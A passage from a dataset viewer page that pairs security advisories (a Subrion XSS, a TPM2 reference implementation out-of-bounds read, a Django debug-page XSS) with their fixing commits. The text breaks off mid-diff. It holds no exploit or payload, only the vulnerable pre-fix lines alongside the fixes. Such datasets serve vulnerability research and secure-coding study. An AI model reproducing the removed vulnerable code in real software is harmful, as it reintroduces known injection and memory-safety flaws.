Datasets:
CIRCL
/
vulnerability-cwe-patch

Dataset card Data Studio Files
xet
Community
1
id
stringlengths
12
19
title
stringlengths
0
237
description
stringlengths
35
3.87k
⌀
patches
listlengths
1
22
cwe
stringlengths
2
440
⌀
GHSA-jj94-j4r3-5gr4
Subrion Cross-Site Scripting (XSS) vulnerability
null
[ { "commit_message": "[PATCH] Resolves #850 admin/templates/default/blocks.tpl | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSAwNjk1MGMyZjljNGFhNjllMzIzY2JkZDE0MWJlYWJiNmE5MjczY2E0IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBEYWl5cmJlayBBcnRlbG92IDw0dW5rdXJAZ21haWwuY29tPgpEYXRlOiBXZWQsIDI2IEZlYiAyMDIwIDE4OjQxOjE1ICswMjAwClN1YmplY3Q6IFtQQVRDSF0gUmVzb2x2ZXMgIzg1MAoKLS0tCiBhZG1pbi90ZW1wbGF0ZXMvZGVmYXVsdC9ibG9ja3MudHBsIHwgNiArKystLS0KIDEgZmlsZSBjaGFuZ2VkLCAzIGluc2VydGlvbnMoKyksIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYWRtaW4vdGVtcGxhdGVzL2RlZmF1bHQvYmxvY2tzLnRwbCBiL2FkbWluL3RlbXBsYXRlcy9kZWZhdWx0L2Jsb2Nrcy50cGwKaW5kZXggYTBjODM5NjAuLmEwYTc4ZGU2IDEwMDY0NAotLS0gYS9hZG1pbi90ZW1wbGF0ZXMvZGVmYXVsdC9ibG9ja3MudHBsCisrKyBiL2FkbWluL3RlbXBsYXRlcy9kZWZhdWx0L2Jsb2Nrcy50cGwKQEAgLTk2LDcgKzk2LDcgQEAKICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wgY29sLWxnLTgiPgogICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Im5hdiBuYXYtdGFicyI+CiAgICAgICAgICAgICAgICAgICAgICAgICB7Zm9yZWFjaCAkcGFnZXNHcm91cCBhcyAkZ3JvdXAgPT4gJHJvd30KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGl7aWYgJHJvd0BpdGVyYXRpb24gPT0gMX0gY2xhc3M9ImFjdGl2ZSJ7L2lmfT48YSBocmVmPSIjdGFiLXZpc2libGVfeyRyb3cubmFtZX0iIGRhdGEtdG9nZ2xlPSJ0YWIiPnskcm93LnRpdGxlfTwvYT48L2xpPgorICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaXtpZiAkcm93QGl0ZXJhdGlvbiA9PSAxfSBjbGFzcz0iYWN0aXZlInsvaWZ9PjxhIGhyZWY9IiN0YWItdmlzaWJsZV97JHJvdy5uYW1lfSIgZGF0YS10b2dnbGU9InRhYiI+eyRyb3cudGl0bGV8ZXNjYXBlfTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgey9mb3JlYWNofQogICAgICAgICAgICAgICAgICAgICA8L3VsPgogCkBAIC0xNDgsNyArMTQ4LDcgQEAKIAogICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Im5hdiBuYXYtdGFicyI+CiAgICAgICAgICAgICAgICAgICAgICAgICB7Zm9yZWFjaCAkcGFnZXNHcm91cCBhcyAkZ3JvdXAgPT4gJHJvd30KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGl7aWYgJHJvd0BpdGVyYXRpb24gPT0gMX0gY2xhc3M9ImFjdGl2ZSJ7L2lmfT48YSBocmVmPSIjdGFiLXBhZ2VzX3skcm93Lm5hbWV9IiBkYXRhLXRvZ2dsZT0idGFiIj57JHJvdy50aXRsZX08L2E+PC9saT4KKyAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGl7aWYgJHJvd0BpdGVyYXRpb24gPT0gMX0gY2xhc3M9ImFjdGl2ZSJ7L2lmfT48YSBocmVmPSIjdGFiLXBhZ2VzX3skcm93Lm5hbWV9IiBkYXRhLXRvZ2dsZT0idGFiIj57JHJvdy50aXRsZXxlc2NhcGV9PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICB7L2ZvcmVhY2h9CiAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAKQEAgLTE2OCw3ICsxNjgsNyBAQAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJwYWdlc1tdIiBjbGFzcz0ieyRjbGFzc25hbWV9IiB2YWx1ZT0ieyRwYWdlLm5hbWV9IntpZiBpbl9hcnJheSgkcGFnZS5uYW1lLCAkbWVudVBhZ2VzLCB0cnVlKX0gY2hlY2tlZHsvaWZ9PgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7aWYgZW1wdHkoJHBhZ2UudGl0bGUpfXskcGFnZS5uYW1lfXtlbHNlfXskcGFnZS50aXRsZX17L2lmfQorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7aWYgZW1wdHkoJHBhZ2UudGl0bGUpfXskcGFnZS5uYW1lfGVzY2FwZX17ZWxzZX17JHBhZ2UudGl0bGV8ZXNjYXBlfXsvaWZ9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgey9pZn0=", "url": "https://github.com/intelliants/subrion/commit/06950c2f9c4aa69e323cbdd141beabb6a9273ca4.patch" }, { "commit_message": "[PATCH] #850 additional escaping in menu ul templates/_common/menu-ul.tpl | 4 ++-- templates/_common/render-menu.tpl | 8 ++++---- templates/kickstart/menu-ul.tpl | 4 ++-- templates/kickstart/render-menu.tpl | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-)", "patch_text_b64": "From 0e9180d2330a00b1ce8e7ec2e92e0a4e0612f1a9 Mon Sep 17 00:00:00 2001
From: Daiyrbek Artelov <4unkur@gmail.com>
Date: Thu, 27 Feb 2020 15:07:22 +0200
Subject: [PATCH] #850 additional escaping in menu ul

---
 templates/_common/menu-ul.tpl       | 4 ++--
 templates/_common/render-menu.tpl   | 8 ++++----
 templates/kickstart/menu-ul.tpl     | 4 ++--
 templates/kickstart/render-menu.tpl | 2 +-
 4 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/templates/_common/menu-ul.tpl b/templates/_common/menu-ul.tpl
index 06320c6d..c7785517 100644
--- a/templates/_common/menu-ul.tpl
+++ b/templates/_common/menu-ul.tpl
@@ -7,7 +7,7 @@
                 {if 'mainmenu' == $position && $menu@iteration > $core.config.max_top_menu_items|default:5 && $menu.level < 1}{capture append=dropdown name=$menu.page_name}{/if}
 
                 {if in_array($position, ['left', 'right', 'user1', 'user2', 'top'])}
-                    <a class="list-group-item{if $menu.active} active{/if}" href="{if $menu.url}{$menu.url}{else}{$smarty.const.IA_SELF}#{/if}"{if $menu.nofollow} rel="nofollow"{/if}{if $menu.new_window} target="_blank"{/if}>{$menu.text}</a>
+                    <a class="list-group-item{if $menu.active} active{/if}" href="{if $menu.url}{$menu.url}{else}{$smarty.const.IA_SELF}#{/if}"{if $menu.nofollow} rel="nofollow"{/if}{if $menu.new_window} target="_blank"{/if}>{$menu.text|escape}</a>
                 {else}
                     <li class="m_{$menu.page_name}
                         {if isset($data[$menu.el_id]) || isset($menu_children)} dropdown{/if}
@@ -20,7 +20,7 @@
                                 {if $menu.nofollow} rel="nofollow"{/if}
                                 {if $menu.new_window} target="_blank"{/if}
                         >
-                            {$menu.text}
+                            {$menu.text|escape}
                         </a>
                         {if (isset($data[$menu.el_id]) || isset($menu_children)) && $menu.level == 0  && $position != 'left'}<span class="navbar-nav__drop dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"><span class="fa fa-angle-down"></span></span>{/if}
                         {if isset($data[$menu.el_id])}
diff --git a/templates/_common/render-menu.tpl b/templates/_common/render-menu.tpl
index 419ef3de..92e7e0b5 100644
--- a/templates/_common/render-menu.tpl
+++ b/templates/_common/render-menu.tpl
@@ -7,9 +7,9 @@
         <ul class="nav navbar-nav navbar-right nav-account">
             <li class="dropdown">
                 <a href="#" class="dropdown-toggle" data-toggle="dropdown">
-                    {ia_image file=$member.avatar title=$member.fullname|default:$member.username class='img-circle' gravatar=true email=$member.email}
+                    {ia_image file=$member.avatar title=$member.fullname|escape|default:$member.username|escape class='img-circle' gravatar=true email=$member.email}
 
-                    {$member.fullname|default:$member.username}
+                    {$member.fullname|escape|default:$member.username|escape}
                 </a>
                 <span class="navbar-nav__drop dropdown-toggle" data-toggle="dropdown"><span class="fa fa-angle-down"></span></span>
                 {ia_hooker name='smartyFrontInsideAccountBox'}
@@ -24,7 +24,7 @@
     {/if}
 {elseif in_array($position, ['left', 'right', 'user1', 'user2', 'top'])}
     {if !empty($menu.contents[0]) && 'account' != $menu.name}
-        {ia_block header=$menu.header title=$menu.title movable=true id=$menu.id name=$menu.name collapsible=$menu.collapsible classname=$menu.classname}
+        {ia_block header=$menu.header title=$menu.title|escape movable=true id=$menu.id name=$menu.name collapsible=$menu.collapsible classname=$menu.classname}
             {ia_menu menus=$menu.contents class="list-group {$menu.classname}"}
         {/ia_block}
     {/if}
@@ -33,7 +33,7 @@
 {else}
     <!--__ms_{$menu.id}-->
     {if $menu.header || isset($manageMode)}
-        <div class="nav-menu-header {$menu.classname}">{$menu.title}</div>
+        <div class="nav-menu-header {$menu.classname}">{$menu.title|escape}</div>
     {else}
         <div class="menu {$menu.classname}">
     {/if}
diff --git a/templates/kickstart/menu-ul.tpl b/templates/kickstart/menu-ul.tpl
index 358d5a0e..2b65f495 100644
--- a/templates/kickstart/menu-ul.tpl
+++ b/templates/kickstart/menu-ul.tpl
@@ -7,7 +7,7 @@
                 {if 'mainmenu' == $position && $menu@iteration > $core.config.max_top_menu_items|default:5 && $menu.level < 1}{capture append=dropdown name=$menu.page_name}{/if}
 
                 {if in_array($position, array('left', 'right', 'user1', 'user2', 'top'))}
-                    <a class="list-group-item{if $menu.active} active{/if}" href="{if $menu.url}{$menu.url}{else}{$smarty.const.IA_SELF}#{/if}"{if $menu.nofollow} rel="nofollow"{/if}{if $menu.new_window} target="_blank"{/if}>{$menu.text}</a>
+                    <a class="list-group-item{if $menu.active} active{/if}" href="{if $menu.url}{$menu.url}{else}{$smarty.const.IA_SELF}#{/if}"{if $menu.nofollow} rel="nofollow"{/if}{if $menu.new_window} target="_blank"{/if}>{$menu.text|escape}</a>
                 {else}
                     <li class="m_{$menu.page_name}
                         {if isset($data[$menu.el_id]) || isset($menu_children)} dropdown{/if}
@@ -21,7 +21,7 @@
                             {if $menu.new_window} target="_blank"{/if}
                             {if (isset($data[$menu.el_id]) || isset($menu_children)) && $menu.level == 0  && $position != 'left'}data-toggle="dropdown"{/if}
                         >
-                            {$menu.text}
+                            {$menu.text|escape}
                             {if (isset($data[$menu.el_id]) || isset($menu_children)) && $menu.level == 0  && $position != 'left'}<span class="caret"></span>{/if}
                         </a>
                         {if isset($data[$menu.el_id])}
diff --git a/templates/kickstart/render-menu.tpl b/templates/kickstart/render-menu.tpl
index 7998e3d2..959f3112 100644
--- a/templates/kickstart/render-menu.tpl
+++ b/templates/kickstart/render-menu.tpl
@@ -26,7 +26,7 @@
     {/if}
 {elseif in_array($position, array('left', 'right', 'user1', 'user2', 'top'))}
     {if !empty($menu.contents[0]) && 'account' != $menu.name}
-        {ia_block header=$menu.header title=$menu.title movable=true id=$menu.id name=$menu.name collapsible=$menu.collapsible classname=$menu.classname}
+        {ia_block header=$menu.header title=$menu.title|escape movable=true id=$menu.id name=$menu.name collapsible=$menu.collapsible classname=$menu.classname}
             {ia_menu menus=$menu.contents class="list-group {$menu.classname}"}
         {/ia_block}
     {/if}", "url": "https://github.com/intelliants/subrion/commit/0e9180d2330a00b1ce8e7ec2e92e0a4e0612f1a9.patch" } ]
null
CVE-2025-2884
Out-of-Bounds read vulnerability in TCG TPM2.0 reference implementation
TCG TPM2.0 Reference implementation's CryptHmacSign helper function is vulnerable to Out-of-Bounds read due to the lack of validation the signature scheme with the signature key's algorithm. See Errata Revision 1.83 and advisory TCGVRT0009 for TCG standard TPM2.0
[ { "commit_message": "[PATCH] tpm2: Fix potential out-of-bound access & abort due to HMAC signing issue Fix an HMAC signing issue that may causes an out-of-bounds access in a TPM2B that in turn was running into an assert() in libtpms causing an abort. The signing issue was due to an inconsistent pairing of the signKey and signScheme parameters, where the signKey is ALG_KEYEDHASH key and inScheme is an ECC or RSA scheme. This fixes CVE-2025-49133. Signed-off-by: Stefan Berger <stefanb@linux.ibm.com> src/tpm2/CryptUtil.c | 117 +++++++++++++++++++++++----- src/tpm2/SigningCommands.c | 18 ++++- src/tpm2/crypto/CryptHash_fp.h | 6 +- src/tpm2/crypto/openssl/CryptHash.c | 8 +- 4 files changed, 119 insertions(+), 30 deletions(-)", "patch_text_b64": "From 04b2d8e9afc0a9b6bffe562a23e58c0de11532d1 Mon Sep 17 00:00:00 2001
From: Stefan Berger <stefanb@linux.ibm.com>
Date: Fri, 9 May 2025 16:33:58 -0400
Subject: [PATCH] tpm2: Fix potential out-of-bound access & abort due to HMAC
 signing issue

Fix an HMAC signing issue that may causes an out-of-bounds access in a
TPM2B that in turn was running into an assert() in libtpms causing an
abort. The signing issue was due to an inconsistent pairing of the signKey
and signScheme parameters, where the signKey is ALG_KEYEDHASH key and
inScheme is an ECC or RSA scheme.

This fixes CVE-2025-49133.

Signed-off-by: Stefan Berger <stefanb@linux.ibm.com>
---
 src/tpm2/CryptUtil.c                | 117 +++++++++++++++++++++++-----
 src/tpm2/SigningCommands.c          |  18 ++++-
 src/tpm2/crypto/CryptHash_fp.h      |   6 +-
 src/tpm2/crypto/openssl/CryptHash.c |   8 +-
 4 files changed, 119 insertions(+), 30 deletions(-)

diff --git a/src/tpm2/CryptUtil.c b/src/tpm2/CryptUtil.c
index 0df0e2847..36e82eaa6 100644
--- a/src/tpm2/CryptUtil.c
+++ b/src/tpm2/CryptUtil.c
@@ -92,12 +92,16 @@ static TPM_RC CryptHmacSign(TPMT_SIGNATURE* signature,  // OUT: signature
 					     g_RuntimeProfile.stateFormatLevel))
 	return TPM_RC_KEY_SIZE;							// libtpms added end
 
-    digestSize = CryptHmacStart2B(&hmacState,
-				  signature->signature.any.hashAlg,
-				  &signKey->sensitive.sensitive.bits.b);
-    CryptDigestUpdate2B(&hmacState.hashState, &hashData->b);
-    CryptHmacEnd(&hmacState, digestSize, (BYTE*)&signature->signature.hmac.digest);
-    return TPM_RC_SUCCESS;
+    if (signature->sigAlg == TPM_ALG_HMAC)
+    {
+	digestSize = CryptHmacStart2B(&hmacState,
+				      signature->signature.any.hashAlg,
+				      &signKey->sensitive.sensitive.bits.b);
+	CryptDigestUpdate2B(&hmacState.hashState, &hashData->b);
+	CryptHmacEnd(&hmacState, digestSize, (BYTE*)&signature->signature.hmac.digest);
+	return TPM_RC_SUCCESS;
+    }
+    return TPM_RC_SCHEME;
 }
 
 //*** CryptHMACVerifySignature()
@@ -1312,7 +1316,8 @@ BOOL CryptIsSplitSign(TPM_ALG_ID scheme  // IN: the algorithm selector
 }
 
 //*** CryptIsAsymSignScheme()
-// This function indicates if a scheme algorithm is a sign algorithm.
+// This function indicates if a scheme algorithm is a sign algorithm valid for the
+// public key type.
 BOOL CryptIsAsymSignScheme(TPMI_ALG_PUBLIC      publicType,  // IN: Type of the object
 			   TPMI_ALG_ASYM_SCHEME scheme       // IN: the scheme
 			   )
@@ -1341,9 +1346,11 @@ BOOL CryptIsAsymSignScheme(TPMI_ALG_PUBLIC      publicType,  // IN: Type of the
 #if ALG_ECC
 	    // If ECC is implemented ECDSA is required
 	  case TPM_ALG_ECC:
+#  if !ALG_ECDSA
+#    error "ECDSA required if ECC enabled."
+#  endif
 	    switch(scheme)
 		{
-		    // Support for ECDSA is required for ECC
 		  case TPM_ALG_ECDSA:
 #  if ALG_ECDAA  // ECDAA is optional
 		  case TPM_ALG_ECDAA:
@@ -1368,6 +1375,59 @@ BOOL CryptIsAsymSignScheme(TPMI_ALG_PUBLIC      publicType,  // IN: Type of the
     return isSignScheme;
 }
 
+//*** CryptIsValidSignScheme()
+// This function checks that a signing scheme is valid. This includes verifying
+// that the scheme signing algorithm is compatible with the signing object type
+// and that the scheme specifies a valid hash algorithm.
+static BOOL CryptIsValidSignScheme(TPMI_ALG_PUBLIC   publicType,  // IN: Type of the object
+				   TPMT_SIG_SCHEME*  scheme       // IN: the signing scheme
+)
+{
+    BOOL isValidSignScheme = TRUE;
+
+    switch(publicType)
+    {
+#if ALG_RSA
+	case TPM_ALG_RSA:
+	    isValidSignScheme = CryptIsAsymSignScheme(publicType, scheme->scheme);
+	    break;
+#endif  // ALG_RSA
+
+#if ALG_ECC
+	case TPM_ALG_ECC:
+	    isValidSignScheme = CryptIsAsymSignScheme(publicType, scheme->scheme);
+	    break;
+#endif  // ALG_ECC
+
+	case TPM_ALG_KEYEDHASH:
+	    if(scheme->scheme != TPM_ALG_HMAC)
+	    {
+		isValidSignScheme = FALSE;
+	    }
+	    break;
+
+	default:
+	    isValidSignScheme = FALSE;
+	    break;
+    }
+
+    // Ensure that a valid hash algorithm is specified. Pass 'flag' = FALSE to
+    // indicate that TPM_ALG_NULL should not be treated as valid.
+    //
+    // NOTE: 'details' is of type TPMU_SIG_SCHEME which is a union of many
+    // different signature scheme types. In all these types (including the type
+    // of 'any'), the very first member is of type TPMI_ALG_HASH. Therefore,
+    // when 'any.hashAlg' is set to a valid hash algorithm ID, the hash for any
+    // signature scheme type will also be a valid hash algorithm ID. (All valid
+    // hash algorithm IDs are the same for all signature scheme types.)
+    if(!CryptHashIsValidAlg(scheme->details.any.hashAlg, /* flag = */ FALSE))
+    {
+	isValidSignScheme = FALSE;
+    }
+
+    return isValidSignScheme;
+}
+
 //*** CryptIsAsymDecryptScheme()
 // This function indicate if a scheme algorithm is a decrypt algorithm.
 BOOL CryptIsAsymDecryptScheme(TPMI_ALG_PUBLIC publicType,  // IN: Type of the object
@@ -1423,12 +1483,14 @@ BOOL CryptIsAsymDecryptScheme(TPMI_ALG_PUBLIC publicType,  // IN: Type of the ob
 
 //*** CryptSelectSignScheme()
 // This function is used by the attestation and signing commands.  It implements
-// the rules for selecting the signature scheme to use in signing. This function
-// requires that the signing key either be TPM_RH_NULL or be loaded.
+// the rules for selecting the signature scheme to use in signing and validates
+// that the selected scheme is compatible with the key type. It also ensures
+// the selected scheme specifies a valid hash algorithm. This function requires
+// that the signing key either be TPM_RH_NULL or be loaded.
 //
 // If a default scheme is defined in object, the default scheme should be chosen,
 // otherwise, the input scheme should be chosen.
-// In the case that  both object and input scheme has a non-NULL scheme
+// In the case that both object and input scheme has a non-NULL scheme
 // algorithm, if the schemes are compatible, the input scheme will be chosen.
 //
 // This function should not be called if 'signObject->publicArea.type' ==
@@ -1439,7 +1501,9 @@ BOOL CryptIsAsymDecryptScheme(TPMI_ALG_PUBLIC publicType,  // IN: Type of the ob
 //      FALSE(0)        both 'scheme' and key's default scheme are empty; or
 //                      'scheme' is empty while key's default scheme requires
 //                      explicit input scheme (split signing); or
-//                      non-empty default key scheme differs from 'scheme'
+//                      non-empty default key scheme differs from 'scheme'; or
+//                      'scheme' not valid for key type; or invalid hash
+//                      algorithm specified; or key type is ALG_SYMCIPHER
 BOOL CryptSelectSignScheme(OBJECT*          signObject,  // IN: signing key
 			   TPMT_SIG_SCHEME* scheme       // IN/OUT: signing scheme
 			   )
@@ -1461,17 +1525,24 @@ BOOL CryptSelectSignScheme(OBJECT*          signObject,  // IN: signing key
 	    // assignment to save typing.
 	    publicArea = &signObject->publicArea;
 
-	    // A symmetric cipher can be used to encrypt and decrypt but it can't
-	    // be used for signing
-	    if(publicArea->type == TPM_ALG_SYMCIPHER)
-		return FALSE;
-	    // Point to the scheme object
+	    // Get a pointer to the scheme object.
 	    if(CryptIsAsymAlgorithm(publicArea->type))
+	    {
 		objectScheme =
 		    (TPMT_SIG_SCHEME*)&publicArea->parameters.asymDetail.scheme;
-	    else
+	    }
+	    else if(publicArea->type == TPM_ALG_KEYEDHASH)
+	    {
 		objectScheme =
 		    (TPMT_SIG_SCHEME*)&publicArea->parameters.keyedHashDetail.scheme;
+	    }
+	    else
+	    {
+	        // Only asymmetric key types (RSA, ECC) and keyed hashes can be
+		// used for signing. A symmetric cipher can be used to encrypt and
+		// decrypt but can't be used for signing.
+		return FALSE;
+	    }
 
 	    // If the object doesn't have a default scheme, then use the
 	    // input scheme.
@@ -1479,8 +1550,6 @@ BOOL CryptSelectSignScheme(OBJECT*          signObject,  // IN: signing key
 		{
 		    // Input and default can't both be NULL
 		    OK = (scheme->scheme != TPM_ALG_NULL);
-		    // Assume that the scheme is compatible with the key. If not,
-		    // an error will be generated in the signing operation.
 		}
 	    else if(scheme->scheme == TPM_ALG_NULL)
 		{
@@ -1508,6 +1577,14 @@ BOOL CryptSelectSignScheme(OBJECT*          signObject,  // IN: signing key
 			(objectScheme->scheme == scheme->scheme)
 			&& (objectScheme->details.any.hashAlg == scheme->details.any.hashAlg);
 		}
+
+	    if(OK)
+		{
+		    // Check that the scheme is compatible with the key type and has a
+		    // valid hash algorithm specified.
+		    OK = CryptIsValidSignScheme(publicArea->type, scheme);
+		}
+
 	}
     return OK;
 }
diff --git a/src/tpm2/SigningCommands.c b/src/tpm2/SigningCommands.c
index 3b0d91a2c..bc67d69d2 100644
--- a/src/tpm2/SigningCommands.c
+++ b/src/tpm2/SigningCommands.c
@@ -137,10 +137,15 @@ TPM2_VerifySignature(VerifySignature_In*  in,  // IN: input parameter list
 //      TPM_RC_SCHEME           the scheme is not compatible with sign key type,
 //                              or input scheme is not compatible with default
 //                              scheme, or the chosen scheme is not a valid
-//                              sign scheme
+//                              sign scheme, or the scheme hashAlg is not a
+//                              valid hash algorithm
 //      TPM_RC_TICKET           'validation' is not a valid ticket
 //      TPM_RC_VALUE            the value to sign is larger than allowed for the
 //                              type of 'keyHandle'
+//      TPM_RC_ATTRIBUTES       the key has the x509sign attribute and can't be
+//                              used in TPM2_Sign()
+//      TPM_RC_SIZE             the provided 'digest' does not match the size
+//                              of the scheme hashAlg digest
 
 TPM_RC
 TPM2_Sign(Sign_In*  in,  // IN: input parameter list
@@ -153,16 +158,23 @@ TPM2_Sign(Sign_In*  in,  // IN: input parameter list
     //
     // Input Validation
     if(!IsSigningObject(signObject))
+    {
 	return TPM_RCS_KEY + RC_Sign_keyHandle;
+    }
 
     // A key that will be used for x.509 signatures can't be used in TPM2_Sign().
     if(IS_ATTRIBUTE(signObject->publicArea.objectAttributes, TPMA_OBJECT, x509sign))
+    {
 	return TPM_RCS_ATTRIBUTES + RC_Sign_keyHandle;
+    }
 
-    // pick a scheme for sign.  If the input sign scheme is not compatible with
-    // the default scheme, return an error.
+    // Pick a scheme for signing. If the input signing scheme is not compatible
+    // with the default scheme or the signing key type, return an error. If a
+    // valid hash algorithm is not specified, return an error.
     if(!CryptSelectSignScheme(signObject, &in->inScheme))
+    {
 	return TPM_RCS_SCHEME + RC_Sign_inScheme;
+    }
 
     // If validation is provided, or the key is restricted, check the ticket
     if(in->validation.digest.t.size != 0
diff --git a/src/tpm2/crypto/CryptHash_fp.h b/src/tpm2/crypto/CryptHash_fp.h
index a53ad4b20..8c7892787 100644
--- a/src/tpm2/crypto/CryptHash_fp.h
+++ b/src/tpm2/crypto/CryptHash_fp.h
@@ -89,9 +89,9 @@ CryptGetHashDef(TPM_ALG_ID hashAlg);
 //  Return Type: BOOL
 //      TRUE(1)         hashAlg is a valid, implemented hash on this TPM
 //      FALSE(0)        hashAlg is not valid for this TPM
-BOOL CryptHashIsValidAlg(TPM_ALG_ID hashAlg,  // IN: the algorithm to check
-			 BOOL       flag  // IN: TRUE if TPM_ALG_NULL is to be treated
-			 //     as a valid hash
+BOOL CryptHashIsValidAlg(TPM_ALG_ID hashAlg,        // IN: the algorithm to check
+			 BOOL       isAlgNullValid  // IN: TRUE if TPM_ALG_NULL is to be treated
+						    //     as a valid hash
 			 );
 
 //*** CryptHashGetAlgByIndex()
diff --git a/src/tpm2/crypto/openssl/CryptHash.c b/src/tpm2/crypto/openssl/CryptHash.c
index 3b62d9094..aca212822 100644
--- a/src/tpm2/crypto/openssl/CryptHash.c
+++ b/src/tpm2/crypto/openssl/CryptHash.c
@@ -137,13 +137,13 @@ CryptGetHashDef(TPM_ALG_ID hashAlg)
 //  Return Type: BOOL
 //      TRUE(1)         hashAlg is a valid, implemented hash on this TPM
 //      FALSE(0)        hashAlg is not valid for this TPM
-BOOL CryptHashIsValidAlg(TPM_ALG_ID hashAlg,  // IN: the algorithm to check
-			 BOOL       flag  // IN: TRUE if TPM_ALG_NULL is to be treated
-			 //     as a valid hash
+BOOL CryptHashIsValidAlg(TPM_ALG_ID hashAlg,        // IN: the algorithm to check
+			 BOOL       isAlgNullValid  // IN: TRUE if TPM_ALG_NULL is to be treated
+						    //     as a valid hash
 			 )
 {
     if(hashAlg == TPM_ALG_NULL)
-	return flag;
+	return isAlgNullValid;
     return CryptGetHashDef(hashAlg) != &NULL_Def;
 }", "url": "https://github.com/stefanberger/libtpms/commit/04b2d8e9afc0a9b6bffe562a23e58c0de11532d1.patch" } ]
CWE-125 Out-of-bounds Read
GHSA-9r8w-6x8c-6jr9
Django vulnerable to XSS on 500 pages
null
[ { "commit_message": "[PATCH] [1.10.x] Fixed CVE-2017-12794 -- Fixed XSS possibility in traceback section of technical 500 debug page. This is a security fix. django/views/debug.py | 20 +++++++++----------- docs/releases/1.10.8.txt | 9 +++++++++ tests/view_tests/tests/py3_test_debug.py | 13 +++++++------ 3 files changed, 25 insertions(+), 17 deletions(-)", "patch_text_b64": "From 58e08e80e362db79eb0fd775dc81faad90dca47a Mon Sep 17 00:00:00 2001
From: Tim Graham <timograham@gmail.com>
Date: Wed, 2 Aug 2017 16:22:35 -0400
Subject: [PATCH] [1.10.x] Fixed CVE-2017-12794 -- Fixed XSS possibility in
 traceback section of technical 500 debug page.

This is a security fix.
---
 django/views/debug.py                    | 20 +++++++++-----------
 docs/releases/1.10.8.txt                 |  9 +++++++++
 tests/view_tests/tests/py3_test_debug.py | 13 +++++++------
 3 files changed, 25 insertions(+), 17 deletions(-)

diff --git a/django/views/debug.py b/django/views/debug.py
index 0ed55fdfe4d7..327ff433c52d 100644
--- a/django/views/debug.py
+++ b/django/views/debug.py
@@ -775,38 +775,37 @@ def default_urlconf(request):
   <h2>Traceback <span class="commands">{% if not is_email %}<a href="#" onclick="return switchPastebinFriendly(this);">
     Switch to copy-and-paste view</a></span>{% endif %}
   </h2>
-  {% autoescape off %}
   <div id="browserTraceback">
     <ul class="traceback">
       {% for frame in frames %}
         {% ifchanged frame.exc_cause %}{% if frame.exc_cause %}
           <li><h3>
           {% if frame.exc_cause_explicit %}
-            The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
+            The above exception ({{ frame.exc_cause|force_escape }}) was the direct cause of the following exception:
           {% else %}
-            During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
+            During handling of the above exception ({{ frame.exc_cause|force_escape }}), another exception occurred:
           {% endif %}
         </h3></li>
         {% endif %}{% endifchanged %}
         <li class="frame {{ frame.type }}">
-          <code>{{ frame.filename|escape }}</code> in <code>{{ frame.function|escape }}</code>
+          <code>{{ frame.filename }}</code> in <code>{{ frame.function }}</code>
 
           {% if frame.context_line %}
             <div class="context" id="c{{ frame.id }}">
               {% if frame.pre_context and not is_email %}
                 <ol start="{{ frame.pre_context_lineno }}" class="pre-context" id="pre{{ frame.id }}">
                 {% for line in frame.pre_context %}
-                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
+                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line }}</pre></li>
                 {% endfor %}
                 </ol>
               {% endif %}
               <ol start="{{ frame.lineno }}" class="context-line">
                 <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>
-"""            """{{ frame.context_line|escape }}</pre>{% if not is_email %} <span>...</span>{% endif %}</li></ol>
+"""            """{{ frame.context_line }}</pre>{% if not is_email %} <span>...</span>{% endif %}</li></ol>
               {% if frame.post_context and not is_email  %}
                 <ol start='{{ frame.lineno|add:"1" }}' class="post-context" id="post{{ frame.id }}">
                   {% for line in frame.post_context %}
-                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
+                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line }}</pre></li>
                   {% endfor %}
               </ol>
               {% endif %}
@@ -831,7 +830,7 @@ def default_urlconf(request):
               <tbody>
                 {% for var in frame.vars|dictsort:0 %}
                   <tr>
-                    <td>{{ var.0|force_escape }}</td>
+                    <td>{{ var.0 }}</td>
                     <td class="code"><pre>{{ var.1 }}</pre></td>
                   </tr>
                 {% endfor %}
@@ -842,7 +841,6 @@ def default_urlconf(request):
       {% endfor %}
     </ul>
   </div>
-  {% endautoescape %}
   <form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post">
 {% if not is_email %}
   <div id="pastebinTraceback" class="pastebin">
@@ -888,9 +886,9 @@ def default_urlconf(request):
 
